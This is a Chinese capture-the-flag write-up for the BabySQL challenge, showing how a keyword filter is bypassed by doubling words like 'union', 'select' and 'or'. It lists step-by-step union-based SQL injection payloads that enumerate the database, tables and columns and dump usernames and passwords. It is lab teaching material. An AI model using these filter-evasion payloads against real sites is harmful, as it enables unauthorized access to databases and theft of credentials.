BUU13 [极客大挑战 2019]BabySQL 1

题目中过滤了or,需要使用万能密码的变形(将or替换成 || )

登进去没什么用,我们直接在用户名中输入or,select,union,where,from等词语全被过滤了,那还玩个锤子

网上一搜需要使用双写绕过

我们输入1' || 1=1 order by 3 #,发现or和by被过滤掉了

所以需要双写 or 和 by 输入 1' || 1=1 oorrder bbyy 3 #

登陆成功,说明有三列

1' ununionion selselectect 1,2,database() #

输入1' ununionion selselectect 1,2,group_concat(table_name) frfromom information_schema.tables whwhereere table_schema='geek' #

information里头有or,也被过滤了,所以需要双写

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='b4bsql'#

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

flag{fe9beefe-0390-4b0c-8214-57bfbaa43ae7}

和Lovely SQL1一个套路,只不过需要双写绕过

相关推荐
进击的雷神1 小时前
数据库知识全面考查:从基础概念到实战应用
jvm·数据库·oracle
Le_ee2 小时前
sqli-labs靶场第七关——文件导出注入
数据库·sql·网络安全·php·sql注入·sqli—labs
dddaidai1232 小时前
分布式ID和分布式锁
redis·分布式·mysql·zookeeper·etcd
不知几秋2 小时前
Maven
java·数据库·maven
政沅同学2 小时前
数据库实验报告 SQL SERVER 2008的基本操作 1
数据库
lyw2056192 小时前
MySQL八股(自用)
数据库·mysql
MMMMMMMMMMemory3 小时前
pgsql14自动创建表分区
数据库·pgsql
文牧之3 小时前
PostgreSQL 配置设置函数
运维·数据库·postgresql
jllllyuz4 小时前
matlab实现蚁群算法解决公交车路径规划问题
服务器·前端·数据库
下雨天u5 小时前
maven dependencyManagement标签作用
java·数据库·maven